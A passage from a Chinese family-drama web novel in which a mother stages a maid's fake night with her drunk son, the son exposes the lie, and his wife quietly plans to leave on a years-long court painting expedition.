蕊珠就抖得更厉害了。 抖是因为害怕,却绝非不愿。 一盏茶后,这个丫鬟鼓足了勇气,给程氏用力磕了个头。 程氏莞尔,“你别怕,阿珣对女孩子很温柔,况且他醉成这样,根本做不了什么。” 蕊珠愕然睁大双眼,做不了什么…… 到底还年轻。 程氏敢担保就连简珣本人也不知喝醉酒无法同房。 毕竟这是一件心照不宣的事儿,有经验的人断不会分享,不然以后做了坏事哪里还有比“醉酒”更好的借口。 “傻孩子,真的假的又有什么关系,只要少爷以为是真的那就是真的。”程氏循循善诱道。 这一晚,蕊珠在曹妈妈地教导下懂了许多事。 曹妈妈掏出一只拇指大的瓷瓶儿,不知装了什么血,随意撒在褥子上,朝蕊珠看一眼,便关门离去。 蕊珠坐在床沿冷静好半晌才止住哆嗦,白着脸凝视安然入睡的简珣,她也要醉了,似乎也迷失了。 次日天光大盛,也不知什么时辰,为何无人提醒他起身?简珣揉了揉太阳穴,正欲掀开丝衾坐起,登时面色剧变,搭在胸口的胳膊显然是女人的,却不是梅娘的。 他的心脏都要炸开,怦怦然狂跳,迅速扭过头,身边赫然躺着蕊珠,未着寸缕。 书房的寝卧传来碎瓷片的声音,比碎瓷声更可怕的是少爷压低了的怒斥。 一炷香后,简珣面色苍白,颓然坐在圈椅里。 他不知道发生了什么,也不是故意的,完全想不起昨晚的事。 蕊珠的面色则青白交错,抖若筛糠,一径低着头哭。 很快有人去给黄时雨递了话。 作为主母,这种事下人也只能请示她。 曹妈妈含胸低首道:“少奶奶不必请示夫人,夫人的意思是都听您的,不论卖给人牙子还是留下伺候少爷,全凭少奶奶做主。” 又不是阿猫阿狗,犯点错便要打要杀发卖,黄时雨蹙眉抿了抿唇,更何况一个巴掌拍不响,这种事又不是女人想就能成的,少不了男人的意愿。思索几瞬,她便有了主意。 待她赶到书房,简珣正在净房沐浴更衣,蕊珠依然跪伏地上,身边没有一个丫鬟敢上前搀扶她,甫一瞄见少奶奶身影,皆退避三舍。 这种底层人命不由己的惊恐,黄时雨可太熟悉了。 她也有些无力,停顿许久才听见自己的声音:“就按府里开过脸的规矩办吧,给蕊珠换个离少爷更近的地方,赏两副头面,至于抬不抬妾是少爷的事儿,按他意思办。” 曹妈妈规规矩矩应是。 简珣怔怔迈入了寝卧,周遭丫鬟连忙屈膝施礼。 “你们,都下去。”他沙哑道。 丫鬟们立刻鱼贯退出,最后面的两个架着蕊珠紧跟其后。 不二梅斋的天要塌了。 简珣一眨不眨望着黄时雨。 晨间阳光在他的身影镀了层淡淡金晕,如烟之尘在光中翻滚,一切都是柔柔的,模糊的,看不太清沐光而来的他神情。 “你,你还好吗……”黄时雨的声音亦轻柔如烟尘,却先关心他的身体。 “我什么都不记得,也没有对蕊珠生有邪念……”简珣呢喃道。 可被褥的落红历历在目。 黄时雨忍不住觑了一眼“战场”,不敢想象阿珣当时有多疯狂。 来之前,原以为会见到一个春风满面做了一夜新郎的阿珣,没想到他竟像犯了错的孩子似的,无助望着她。 罕见的脆弱。 黄时雨不忍心刺激他,也没有立场指责什么,只好安慰道:“没事的,蕊珠本来就是你的人,说到天上你也未曾触犯礼法。” 咽了咽口水,她又胡乱描补道:“再说,她又那般爱慕你,昨晚初历人事,你莫要再吓唬她。” 显然不是蕊珠勾引或者强迫他,这种事,女人强迫不了男人,但男人可以……简珣百口莫辩。 他上前一步,将梅娘拉入怀中,紧紧拥着,那么用力。 力道之大黄时雨拧眉喊痛,却鬼使神差嗫嚅道:“现在,我们一样了,一样的不清醒或者身不由己才犯了错,你,可以原谅我了吗?” 第88章 红叶 梅娘说的话仿佛是一双柔软的手,把简珣的心脏捧进了冰水里浸透,从头皮漫延而下。 他几度哽咽,眼眶泛红了一片。 良久,一滴泪沿着又白又薄的脸颊悄然滑落。 半边身子都快要被他抱麻了。黄时雨只能侧着脸贴在他胸膛,想要抬一抬头,却勉强瞧见了他的下颌。 也许,阿珣并不开心。 哪怕对方是蕊珠,他也不开心。 因为当时的他喝醉了,不清醒,将心比心,谁愿以最狼狈的模样与人发生亲昵之事。 哪怕对方长得再好看。 她太了解他此时此刻的心情,于是也环抱住他,努力垫着脚攀着他肩膀,竭力与他相互依偎取暖,如同安抚曾经无助的自己。 “梅娘,我不喜欢蕊珠,从未与她私下独处过,昨晚的事太奇怪了,这不像我。”简珣从沉重打击中浮出水面,一点点恢复清醒。 黄时雨纠结地闭上眼,“可是,蕊珠身子已经给了你,你不负责吗?” “我不会负责。”简珣的目光越来越冷,“这件事我一定要查清楚,倘若真是我做的,我自会补偿蕊珠,再为她寻一门好亲事。” 也就是他不认。 这一晚不论真假,他都不认。 “你,是不是在心里偷乐?”他缓缓松开她,双手捧起她的小脸,垂眸与她四目相抵,“尚不知真假,你就拿来相抵自己婚前婚后的不贞?” “咱俩可不一样!”他惨白一笑,“我从未瞒着你接触其他女子,更没有利用她们的倾慕趁机发生肌肤之亲,而你,一再背叛,直至今日还与那人不清不楚。我连知情都不配,还要受你冷落。梅娘,我们完全不一样,你,辜负了我。可你明明说过永远都不负我,永远记得我的好!” 黄时雨呐呐无言,艰难地拉回神志,却唯能道一句苍白的“对不起”,然后轻轻擦拭他脸颊的泪珠,却越擦越汹涌。 原来他委屈之时也会哭,像她一样难过。 书房外,丫鬟们有的钻进茶水房有的站在廊下,竖齐耳朵偷听屋里动静。 曹妈妈在园子里盯半晌,也竖着耳朵听,可惜什么声响儿都没有。 谁也不清楚小两口正在做什么。 话分两头,说回这厢的清苑。 程氏也不好过。 今早之事,举凡是个正常男人都会默认,毕竟酒醉误事,算不得大过。 在不得罪妻子的前提下还能抱得美人归,这么好的台阶程氏都为简珣铺好,千算万算没算到他竟不肯下。 只默许蕊珠搬进一间比从前宽敞的屋子。 日子古怪而静谧地翻了又翻,惴惴不安的曹妈妈带来一则消息:“少爷在书房一连歇了六晚。” 既没去上房找梅娘,也没有去西南角蕊珠房里。 他白日上衙,晚上回府面也不露。 听说进食也不如从前,几经打听才知是因大病一场,烧得滚烫滚烫,持续了两日,天天还像没事人一样上衙。 “夫人莫要惊慌,少爷目下已经没有大碍,素秋亲口说的。奴婢为此专门守在梅斋园子瞧过,看见少爷走路平稳有力,郎中也说他可以停止汤药。”曹妈妈字斟句酌,低声细语道,“是了,昨晚少爷歇在上房,中间要过一遍水,再多的奴婢也问不出啥。上房的丫鬟如今都不怎么听奴婢的话。不过既然都要水了,想来已经和好。” 夫妻床头吵架床尾“打架”,知道“打架”了多半是没大问题。 阿珣是个傻的,但凡梅娘肯哄他一哄,什么事都没有。 程氏疲惫地叹了口气。 蕊珠被安排在紧邻梅斋的小跨院,院子还算清幽,唯有一间西厢房并一间耳房才属于她。 少奶奶赏了她两套足金的头面,外加双倍月例,是个心善又容得下人的好奶奶。 少爷,却什么都没给她,连句温存的话儿也没有。 十六那日她并没有睡着,也不敢睡,担惊受怕了一晚怎可能眯住眼睛。然而曹妈妈告诉她,只需流眼泪不说话少爷就一定会怜惜,男人都这样,对柔弱的女人狠不下心。倘若少爷醒来动了欲念,她就推说身上疼,不方便。少爷仁慈,定不会为难她。 只要少爷认了就算过关。 过关后夫人自会教她将来如何圆谎。 不意少爷用那种深入骨髓的寒凉目光打量她,仿佛要将她看穿,抓出藏在灵魂深处的阴暗。 她在心里宽慰自己,少爷没见过多少女人,只要自己不松口,再有夫人帮衬,定会长长久久瞒下去。 辛夷笑吟吟来到小跨院,送来夫人的赏赐,暗中却摇了摇头,这是一个糊涂姑娘。 傻到以终生幸福做赌注,赌少爷三分怜爱,殊不知少爷对她本就怜悯顾惜,这么一闹,反倒将少爷推远了。 作为夫人身边最得力的大丫鬟,辛夷的聪颖与老练自是其他丫鬟望尘莫及的。她一眼就知道蕊珠糊涂了。 少爷对蕊珠即便已无男女之情,那也是实打实的怜惜,否则又怎会将她白白配人,配的还是舫西年轻的掌柜。 谁家通房能有这般好命,清清白白出去嫁人。 嫁的非但不是又老又丑的杂役,还是齐头整脸大有出息的年轻郎君。 时下多少龌龊男主子,自己吃完又不想便宜别的男人,便将通房随便许个半废的糟老头。 就这还有不少通房上赶着抢呢,因为嫁出去至少还能活命,摊上个心黑手辣的主母,被磋磨死了都不定有张草席卷。 偏蕊珠不珍惜。 原本她可以做正头娘子,儿孙满堂,衣食富足。 局外人清明,局中人困于贪嗔痴。 蕊珠将新缝制的皂靴交给琼丹。 琼丹是少爷身边新提拔上来的婢女,长得整齐大方,颇有股飒爽的气势。 “劳烦蕊珠姑娘了。”琼丹笑呵呵接过皂靴,“姑娘今非昔比,可不能再做这些粗活,以后这些都交给南星与半夏。” 这番话说得极其客气,蕊珠却听懂了弦外之音。 少爷不要她了。 斩断了两人之间最后一根相接的弦。 她难堪地垂下脸,嗫嚅应一声“是”,高一脚低一脚离开了,走到雪浪石山背面泪如雨下,直到一道阴影挡住了明光。 那阴影动也不动立在她三步开外,高大而冷峻。 蕊珠战战兢兢抬眼眼眸,睫毛乱颤。 简珣面无表情,审视良久才命她站直了。 “我突然非常好奇整个过程,”他双手负在身后,眼角微挑,“十五那晚二更的事,你,再重复一遍。” 只哭不说话在特定的情况下才管用,现在肯定是不行的。 少爷问话,奴婢岂有不应之理。 蕊珠还想做最后的挣扎,“奴婢,奴婢羞赧,求您了少爷,不要再逼奴婢。” 简珣目光就沉了下去。 吓得蕊珠魂飞魄散。 他冷冷道:“做都做了还有什么不能说,况且只有你我二人。” 蕊珠面色苍白,把曹妈妈教的话磕磕巴巴复述了一遍。说得多错得多,必须含含糊糊交代,诸如少爷抱她不松手,嘴里喊着少奶奶的名讳,一径扑倒她,她是少爷的人,当然不能反抗,就半推半就成了好事。 少爷的神情没有一丝的波澜。 似乎在思考什么。 “再详细一点。”他目中没有半分旖旎,根本不似对春宵的流连回味。 蕊珠哆哆嗦嗦又加了一些情节,脑子乱成麻,懊悔不迭,含泪说了许多羞然欲死的场景。 简珣的神色依然没有波动。 那不是他,他才不会认错梅娘。 没人比他更清楚梅娘的气息与手感,更不会如此粗鲁,他绝对舍不得弄伤她的。 “哦,是这样么,那你再把整个过程倒着复述一遍。”简珣忽然道。 啊?蕊珠睁大了眼。 为何要倒着说…… 她不理解,满目茫然,却不敢违逆,张了张嘴竟发现了一件恐怖的事:倒着复述谎言无比艰难。 几乎不可能的。 她张口结舌面红耳赤。 简珣唇角微勾,负手绕着她缓缓踱步一圈,“人,在毫无准备的情况下,根本没法倒着叙说未曾亲身经历的事。” 幼年时期他就发现了这个有趣的规律,还专门用梅娘验证过。 几乎可以肯定蕊珠在撒谎。 那晚,阿娘送他回到书房,想当然留下蕊珠伺候。 蕊珠是他名正言顺的通房,丫鬟们并不敢阻拦,只好守在外面值夜。 据琼丹所言,二更确实传出蕊珠的哭声与求饶声。 其实做没做过,只需看两眼便一目了然,然而他是男子,检查了蕊珠身体不管真假都真了。 所以交给了阿娘身边的妈妈检查。 妈妈与阿娘一致确认蕊珠就是被他欺负过,还受了点伤,含蓄地告诫他近期不得再碰蕊珠。 把女孩子弄伤的禽兽绝对不是他。 简珣无法得知当具体情况,却清楚自己的身体,完全没有欢好过后的感觉,男人也是有感觉的好不好。 “蕊珠,你太让我失望了。”简珣抿紧了唇。 “少爷,您就那么讨厌奴婢吗?”蕊珠失声痛哭,“这些年我何处不听话,何处逆过您心意!您不想对奴婢负责奴婢也不敢有怨言,又何须怨恨奴婢……” 她吃了熊心豹子胆。 简珣笑了笑。 “你们,在做什么?”黄时雨拧眉走了过来。 这条鹅卵石小径也通上房,她如今虽不去书房却也时不时走这条路,图一个景色好。 哪成想听见了女孩子压抑又惊恐的哭声。 更让她无法接受的是,把女孩子吓哭的人是简珣。 简珣警告地扫了蕊珠一眼。 蕊珠如蒙大赦,乖乖告退。 如此,黄时雨身边的丫鬟也不敢离得太近,屈膝施了一礼便识趣地后退数步。 “阿珣,实在不喜欢就把蕊珠嫁了吧,何必如此折辱她?”黄时雨望着蕊珠仓皇逃窜的背影,扭头看向简珣,“我发誓永远不再提此事,不让你难堪。” “谁说我讨厌她,谁又说我难堪了,”简珣冷冷调开视线,“我的事不用你管,反正你心里认定我欺负了她。” 黄时雨与简珣并未和好。 愈演愈烈。 他只是不在下人跟前撂她脸面,私下却一点也不饶人的。 就连同房他也能一面折腾她一面冷言冷语,她稍有反驳便会被他堵住嘴,深深吻住。 黄时雨相信简珣是个正人君子,断不会做出强迫女孩子的事,她垂眸走了过去,轻声道:“我没有那么想,我相信你绝对不会欺负其他姑娘。” 他只欺负她。 “可你方才看我的眼神多么伤人。”简珣倾身拥着她难过道。 深秋摇曳的红叶如火如荼,黄时雨只能努力仰着脸,目之所及竟是高不可攀的天空。 简珣亲了亲她脸颊,垂眸覆上她的唇。 “梅娘,我们永远不分开,好不好?” 第89章 多情 许是怕她又说什么不中听的。 他根本没给她回答的机会。 简珣前一刻还凉凉的心,因为梅娘暖暖的樱唇,就微醺了,啄了又啄,才缓缓地放开了她。 她乌黑的眼眸像浸润在一汪春水中的宝石,盈盈清澈,檀口微启,宛如胭脂色的花瓣,引他迷失,沉湎于情欲,醉在她缥缈的石榴裙下。 他目光一黯,复又欺身噙住她的唇。 黄时雨被他一顿轻薄,一阵阵迷离恍惚,心口乱跳,陡然醒过神,不禁紧张,四下望去,周围一个人也不见了…… “不,不行……”她偏过头将脸埋在他胸口,避开他肆无忌惮的亲昵,“不要在外面这样。” “我在自己家里亲自己的媳妇,何错之有。”简珣嘴上不服,却停下了攻势,那只放在了山峦之上的手也讪讪缩了回去。 可他叫嚣的变化总要等些工夫才能平息,于是他抱着她在原地相拥许久。 “梅娘。”他轻声道。 “嗯?”她听见了他胸膛有力的怦跳声。 “我没有轻薄蕊珠。”终究还是说出来了。 即便蕊珠是他的人,伺候他床笫之事天经地义,他也不愿担醉酒轻浮污名,堕了在梅娘心中的光风霁月。 况且蕊珠说谎,就愈加证明了他心中猜测。 却又不忍暴露阿娘对梅娘的不满,那样只会将他与她之间最锐利的问题摊上了明面。 也是他最不想面对的。 “我也希望如你所言,可你们……”黄时雨支支吾吾。 情感上她无比相信阿珣,可情感说服不了理智,落红历历在目,以己度人她也不觉得一个姑娘敢以此算计。 简珣僵硬道:“酒,只是令人熏熏然,思考迟缓,应对迟缓,而不是催发欲念。喝酒犯浑之人定然是平日里就想犯浑,借酒壮胆发作而已,反之,平时就没想过的事,又怎会喝醉了忽然大动干戈。” 他说的好有道理。黄时雨忍不住动摇。 “你爱信不信,反正我没轻薄她,她自己鬼迷心窍犯傻。”简珣一顿,语气又不由放缓了,“落红而已,说明不了什么。你忘了么,我不也为你做过假的落红骗曹妈妈。” 黄时雨的一张芙蓉面登时涨得通红,却又仿佛想起了什么,继而微微泛白。 那些刻意遗忘的,冷不丁又忽隐忽现。 第一次的落红,以及隐晦的无法言明的液体,凌乱的被褥。 她推开简珣,转身闷头一路小跑回了上房。 简珣愕然,后知后觉,梅娘肯定误以为他在明嘲暗讽。 亦或不小心揭了她的短。 忙紧随其后,追了上去。 这日晚膳,简珣牵着黄时雨一齐迈进清苑,直到瞟见辛夷迎面走来,黄时雨才挣开简珣,缩回了自己的手。 这事落在辛夷眼里就相当于落在程氏的眼里,阿珣可真会哄女孩子,这么快就把小妻子哄好了。 这是好事,她自然希望孩子们夫妻和睦,可阿珣一次也没去过蕊珠房中,白白浪费了她的苦心,还枉做一场坏人。 饭后,仆妇井然有序撤下杯盘碗箸,简珣欲言又止,余光瞥见辛夷端着红漆描花托盘奉上香茗果品点心走来,他又深深看了阿娘一眼,对正在服侍程氏净手的梅娘道:“梅娘,你不是要自己装裱《葫芦万寿图》,这里交给我,我已经很久没与阿娘下棋。” 黄时雨便看向程氏,程氏首肯了,她才福一福身,辞了婆母夫君。 主子们有话要谈,辛夷根本不用程氏吩咐已经会意,指挥下人随自己退出次间。 聪明人之间不用把话说透就能心领神会,辛夷如此,程氏与简珣更是如此了。 娘俩只需对视须臾,一切尽在不言中。 程氏淡笑,长叹声便收回了视线。 “阿娘,儿不孝,着了情道。可倾慕之情并非洪水猛兽,反令我益发上进,勤敏自持。”简珣并未出言嗔怪,反倒心平气和,语速温缓地,“外祖家式微,最有能力的大舅舅远在天边,阿娘还要忍受宵小觊觎,从小我便发誓要保护您,长成最有能力的男子汉。现在长大了,我不仅想保护您还想保护梅娘,你们是我生命中同样重要的人。” “我希望你们的感情比对我还亲厚,哪怕没法亲厚至少也不能闹出隔阂。” “梅娘一直从心底尊敬您,您的每句话她都奉若圭臬,从不违逆。您不需要像爱我一样的爱她,可也不能算计她。” “我不是懦夫,不需要用醉酒来达到不可告人的目的。” 他要做梅娘想象中的光风霁月的君子。 “阿娘,我发誓会好好活着,再不会出任何意外,我也比任何人都珍惜性命,因为我有你们。请您再给我些时间,我一定会与梅娘有个孩子的。” 说完这席话,他才站起身,走到程氏对面,撩起衣摆恭恭敬敬跪下磕了两个头。 程氏的眼眶慢慢濡湿。 他没有“出卖”阿娘,也没有认下蕊珠,这件事到此为止。 可他与梅娘之间的裂痕该如何修补。 男人对绿头巾深恶痛绝的天性使他触底反弹,誓要抓住“奸夫”。 到底是怎样“好”的男人值得梅娘一再维护,不惜官衙行苟且之事! 那他定要梅娘看着这么“好”一个男人是怎么死的。 像狗一样死在她脚下,绝了她不安于室的心。 不过这事得徐徐图之,从梅娘口里断然得不到有用的。 得亏黄时雨不知道他的打算,知道了怕是要唬得当场厥过去。 把肃王杀了,就算皇帝不敢灭琅琊简氏九族,灭宣道坊再灭黄时雨三族还是可以的。 阿珣与蕊珠之事不了了之,他咬死不承认要了人家身子,蕊珠什么话也不敢说还被禁足。 黄时雨也不想再深思此事,她怕想得多了想的深了搅乱心智。 今年画艺考核黄时雨不出意外得到了优等,不过是优等里的第二名,第一名也不出意外是陆召琰。 她输了,好在不算丢人。 勉强保住了闻大人、肃王等提携过她的诸多贵人颜面。 年前画署收到了明年离京采风的旨意,这种好事可不是年年都有。 运气好就赶上了,运气不好八年九年或许更久。 普通画师本就难有升官机遇,黄时雨属于个例,大部分人都是忙到老还是个画员。 总之机会难得,人人摩拳擦掌,名额却仅有二十个。 此番采风之地定为昙州府清宁县,临海临山,地势复杂,有着不同于京师的风土人情。 同时,清宁县也是大康船港海外贸易最为繁华之地,每年光税收就占据了国库的四成。 朝廷不惜将京师的市舶司署移至此处。 仅靠当地官员述职,皇帝并不放心,为此专门派遣过文官暗访,写了两大本游记,如今又放出画署的画师再以画面的形式呈现出来。 当然,这些都是其次,皇帝最看重的还是昙州府舆图。 这等差事,没个三五年结束不了。 皇帝笑着打趣闻遇,“下次再见面,小闻大人可就是本朝最年轻的正二品大员。” 闻家靠闻遇还能再支应两代。 “微臣惶恐,为陛下效命万死不辞。”闻遇拱手躬身。 这位雄心勃勃的君主,对权利有着无限的欲望,不论军权还是吏部,乃至税赋,全部都要自己掌握。 如今内阁大部分机要也是皇帝亲自决断。 “你也老大不小,立业之事有朕保你,是不是该考虑成家了。”聊完正事,君臣之间也要闲话家常的。皇上笑呵呵的。 闻遇淡笑,“微臣一向随缘,并不急于此事。” 皇帝大笑,“你是真不急,朕记得你胞弟去年就生了两个儿子。”大手一挥,颇为豪爽道,“从前为了朝廷大局,殷王不得不退掉平邑与你的婚事,如今平邑早就出嫁,前缘已断。殷王家的老四却初长成,今年将将满十六,貌若洛神,你若有意,朕明儿就为你定下。” 从前为大业娶就娶了,中途又为大业被退亲,总不能折腾一圈还得娶他家的闺女吧。闻遇面露难色,况且他要去清宁县,山高路远,把人金枝玉叶娶进门与守活寡有何区别,遂道:“谢陛下厚爱,不过微臣可能要令殷王失望了,也不愿耽误女子芳华。” 皇帝自然也想到这一层,不过殷王自己都不心疼闺女,他又何必多管闲事,但不妨碍做个好人牵线搭桥。 没想到闻遇立刻就回绝了。 回绝也好,十六岁就守活寡也怪可怜的。 闻道芝知道此事却惋惜不已,殷王家的老四秀容郡主,才貌双全,冠绝殷州,闻遇竟直接回绝了。 她气得骂道:“混账,送上门的嫩草你都不吃,我哥哥若在地下有灵,今晚就爬出来撕了你。” 与殷王联姻,闻家便又多了一层保障,还能与当今圣上沾亲带故,百利而无一害。 “姑母,我要去清宁县。”闻遇道。 “那就带着媳妇一起去,多好。”闻道芝想也不想。 “我去清宁县办差,接触大康舆图,怎能带着贴身女人。”闻遇皱眉。 闻道芝一惊,“画署的人能画舆图?” “随行侍卫有一半是神策军,剩下的才是我的人。” 原来如此。闻道芝意味深长看着他,“长久下去也不是办法,你在那边若有看得顺眼的姑娘,只要出身清白,人品可靠,门第说得过去,不管是谁姑母都替你做主。” 闻遇借口画阁有事,急匆匆辞别。 且说放年节前两日,黄时雨做足了心理准备,才来找闻大人登记报名。 以她今时今日的身份,获取一份资格并不难。 难的是她的另一重身份——别人的妻子。 闻大人没想到黄诏侍真敢过来寻她报名,不由生出三分佩服。 然而佩服归佩服,还是建议她慎重考虑。 “采风少则三年多则五年,除了年纪大的女画师,没有似你这般年轻的女子参与。” 黄时雨别在身后的手暗暗攥紧了,指甲扎进了掌心,以痛感强迫自己清醒。 她轻声细语道:“朝廷不允许年轻女画师参与吗?” “这倒不是,而是她们的家族不允许,她们本人也无法舍弃安稳的人生。”闻道人平静道。 家室和仕途,孰轻孰重一目了然。 时下容忍女子出来为官已经算宽厚人家,便是说到天上也不会有人允许妻子远赴他乡一别数年的,更何况连个孩子都未能为家族诞下的小媳妇。 “倘若明年我的肚子依然没有动静,我的婆母因为我的身体备受煎熬,又要兼顾儿子的想法,全家都因为我的存在陷入困境,进退两难,既不能负我又不能不孝。大人,您说,如果我走了,是不是对所有人都好……” 黄时雨笑了笑。 第90章 此去 关着门说了这么久的话,也不知在嘀嘀咕咕什么?蓝素余光时不时瞥向闻大人房间两扇紧闭的门,想贴近了听一听,偏偏姜意凝就在跟前,自己若鬼鬼祟祟的,少不了又要被她取笑。 门扇倏然“吱呀”一声打开,黄时雨从屋里走出,面色如常,在蓝素疑窦丛生的注视下从容离去。 走路的背影十分专注。 一径拐进右边的甬道,头也不回。 袁艺学半眯着眼立在廊下,等了半盏茶工夫,黄诏侍的身影终于映入眼帘,她连忙迈着小碎步迎上去,“黄诏侍,下官去吏部问清楚了,昨儿他们确实收到了刘画员的申状(注,离职申请),不过又让下官带了回来,说得盖上您与闻大人的印章吏部才能审核。” 这是一名末流小官员的离任流程。 得亏是不入流,盖几道章,吏部审核之后没有大问题通常都能通过。相较而言正七品往上的离任才麻烦呢,层层审批,最后报到皇帝跟前,皇帝准了方才算告成。 这名千辛万苦考进画署,勤勤恳恳四年的刘画员,在没有任何预兆的情况下,突然递交申状。 因为是藏画楼的画员,属于黄时雨的“管辖范围”,她免不掉操几番心,一来是职责所在,二来是惋惜不忍。 上午遣人去了趟刘画员家说明申状不合理之处,下午她家就来人重新递交,来的不是旁人,正是她的夫君。刘画员夫君讲话温文尔雅,十分有礼,整个过程没啥阻碍,办得相当顺利。 袁艺学在支摘窗后瞄了会,拐一拐黄时雨胳膊,“咱们画署又不是不给女官生孩子,足足歇一年呢,生完调养好继续上衙,他倒好,直接给媳妇递了申状。” 女画师,抛开那些家境极为显贵特殊的不讲,大部分婚姻艰难,一旦成亲有了孩子,在各种世情的压力下,多数都会辞官回家相夫教子。 在这里待的最久的不是和离便是寡妇。 闻大人是后者,袁艺学是前者。 不过袁艺学和离并非夫家不支持她做女官,相反,前夫还与有荣焉,因为女官不仅有丰厚的俸禄,说出去也体面,但袁艺学还是选择和离,皆因她前夫终日与小妾厮混,被小妾捧得不知天高地厚,吃喝无忌,饮酒无度,再加上沉湎美色,便宛如发了面的馒头似的鼓起,胖若两人。 而她只喜欢一把细腰的男人,不仅细还得结实,最好像小闻大人那样。 实在无法接受前夫从玉树临风的小郎君变成了猪妖,袁艺学一哭二闹三上吊硬是和离了。 理由竟不是因为夫君偏宠,而是他变胖变丑…… 黄时雨瞠目结舌。 可惜袁艺学的底气非寻常女子所能有。 毕竟不是人人都有官拜正二品的大员祖父。 今年下了一场瑞雪,冻死不少害虫幼卵,预示着大康即将迎来下一个丰年。 而黄时雨和简珣也迎来自己的十八岁。 两人一个会哄一个不记仇,倒也磕磕绊绊走了过来。 谨记上回在宫城吃的教训,黄时雨等闲不敢出藏画楼半步,竭力避开接触男子的可能。 以她对简珣的了解,盯着她的绝对不止宝络一个。恰好藏画楼的粗使婆子与女工比别处都多,倘若有心又舍得银钱,收买一两个倒不是不可能。 这事儿他绝对做得出。 从她无法自证也无法清楚交代那一刻,就彻底失去他的信任。 没有人能接受背叛,简珣也不会例外,一次又一次的原谅不是不恨,只是拿她没办法。 其实也不是全无办法杜绝后患,譬如将她关在家中,再给吏部写一份申状断她后路。反正不会有人在乎她的离任是否出自真心。 能给予自由的人,自然也有全部收回的能力。 说句可怕的,连她的小命都是他的。 可那样又有什么意义…… 不是鲜活的快乐的梅娘,一切都没有意义。 人与人之间的相处从一开始就定型。 她是他宠大的,就注定她不会从心底惧怕他,正视他,如今悔之晚矣,强行给她些颜色瞧瞧,只会适得其反。 简珣能给黄时雨最重的惩罚也就在床上了,几乎将所有空余时间都用来陪她,让她又哭又叫,快乐到流泪。 正是精力旺盛不知疲倦的年纪,一遍遍地挥洒雨露。 偶尔拌嘴,也不耽误他冷着脸按住她云雨一番。 他引领她食髓知味,体验到身为女人的美好。 渐渐与他共沉沦。 简珣只有黄时雨,且如此频繁同房,仍旧一无所获。 有段时间他不得不怀疑自己,于是多番请医问药,上至御医下至民间郎中无不认定他极其康健。 清明节后,程氏带着黄时雨再次去庙里进香,拜一拜观音。 适龄且过门一年多没动静的正室,放在人丁兴旺的家族也相当惹眼,更何况宣道坊简府。 这么大的门庭家业却仅剩一名男丁,莫说嫡子嫡女,便是庶出的也没有。暗中垂涎的宵小不知得要多眼红,日夜盼着,盯着。 一般到了这种情况,谁家还在乎嫡庶,庶出再不济也比过继的强。 简府如此凋零,不免使人怀疑简珣不能人道。 于是,有心将贤惠庶女嫁过去做良妾的几个夫人哑火了,一句也不敢再提抬妾之事。 程氏有苦难言。 黄时雨抬眸望了望春明长天,空寂而澄澈,三月的微风有着青草花香,又是一年好时节。 姐姐在信上说清宁县海风又大又糙,那里的姑娘身段窈窕修长,皮肤光滑偏黑,出门不戴帷帽晃一圈,次日立时黑一圈。 京师的女子则不同,全都嫩白嫩白的,如水一般。 此时,丫鬟们围在禅院的香樟树旁烧水,而黄时雨同婆母对坐蔷薇花架下饮茶,用仅次于御用甘泉的大恩寺泉泡的,甘甜从舌尖蔓延心头。 从前,黄时雨对水没有概念,认为煮开了都是一个味儿,水就是水,无色无味。后来她尝过了用清甜泉水煮的茶煮的饭菜,彻底突破了认知。 原来任何常见之物都有优劣之分。 同样都是水或咸菜,简府的便是人间至味,甜水铺子的不过是用来充饥果腹。 以至她再去喝普通的水,瞬间就尝到了苦涩,普通的小菜粗糙难以下咽。 廉价的香膏气味刺鼻,沾上肌肤黏腻无比。 被娇养的身体发肤瞬间就会嫌弃抵制。只是她擅于伪装,将一切不适藏得很好,不让人察觉。 她不喜欢这样娇气的自己。 却又无比感恩将自己养成这样的阿珣。 “娘,我们画署今年接到了离京采风的旨意,人人争之,为君效力……”黄时雨打破了静悄悄,相顾无言的局面。 程氏诧异地抬眸,目光与她相接,有过片刻的僵硬,却似乎明白了什么。 “为君效力是好事情,”她低低道,方才还深凝的目光突然间竟有些失神,“你,也想为君效力吗?” 眼眶蓦地一酸,已经越来越擅于隐藏情绪的黄时雨早就有了不让眼泪流出的能力,她浅笑点了点头,“嗯,我想。” 程氏扭过头,不看她,淡淡道:“阿珣,不会同意的,你告诉我也没用。” “我不是来求您做主的,我,只是觉得不能让您白疼我一场,总得有个相对正式的告别。”黄时雨惴惴起身,走到了她面前,比任何时候都慎重跪了下去,用力磕了两个头。 程氏的视线重新看向了她,跪在脚下的小姑娘,不知何时已经长成了大姑娘。 简珣才兼领了通政司正五品右参议,身兼二职,大有叶学士当年的雏形,正是春风得意之时,就连心爱的妻子也益发温柔小意,少了几分少女的任性,多了些许少妇的知情识趣。 乐不思蜀,他早忘了当年按部就班的规划。 有趋炎附势之人试图进献健康美貌的奴婢,也有心狠的献上自家美貌庶女,无一例外,皆被他一一回绝。 他的妻子又不是不能生,只是还需要一些机缘。 以他之聪慧自然也知人们背后怀疑他不能人道,可他并不在意,能不能人道他的妻子比任何人都清楚。 鸢娘去年嫁的人,今年将将诞下嫡子,简欣兰忍不住在背地里发笑,又不敢当着程氏的面乱讲,便私下里与自己的阿娘说笑:“当初若是娶了我们鸢娘,今日怕是两个孩子都有了。所以人就该门当户对,小门小户养的,谁知道身上干不干净有没有隐疾。” 老太君怒斥道:“闭嘴。” “你以为在我跟前嘴上没个把门,跑去外面就能关好口舌?” “三十年河东三十年河西,珣哥儿如今的出息你难道一丝也看不出?他是你爹最看重的后辈,也是族里数一数二的,你与鸢娘所倚仗的娘家,早晚都得倚仗他。我们简氏最讲究族人团结和睦,你休要得意忘形!” 简欣兰被亲生母亲劈头盖脸好一顿训斥,唯唯诺诺说不出了话。 舫西的掌事与掌柜终于来到京师,果然有不少年轻人,其中一名能力最为突出的原是简珣为蕊珠挑选的夫婿,只没想到她行差踏错,在品行上出了问题,自然不能再与之相配。 此事程氏也有一定的责任,到底是怜惜蕊珠年轻貌美,便将她指给另一名稍显稚嫩的小掌柜,年纪不大外貌还说得过去,性格温温吞吞,两人将来好好过日子,比给人做通房自在一百倍。 简珣不意才送走一个通房,阿娘竟又给他安排了一个,不是旁人而是天冬。 天冬是程氏的二等丫鬟,相貌出众,机灵勤敏,以她的能力做一等也绰绰有余,但清苑一个萝卜一个坑,其他的一等比她更能干。 更令他火冒三丈的是天冬还是梅娘向程氏推荐的,理由是他用膳时多看了天冬一眼。 他自己都不知道自己何时多看过谁一眼。 阖府上下多少年轻的丫鬟,难不成要他以后都闭着眼走路。 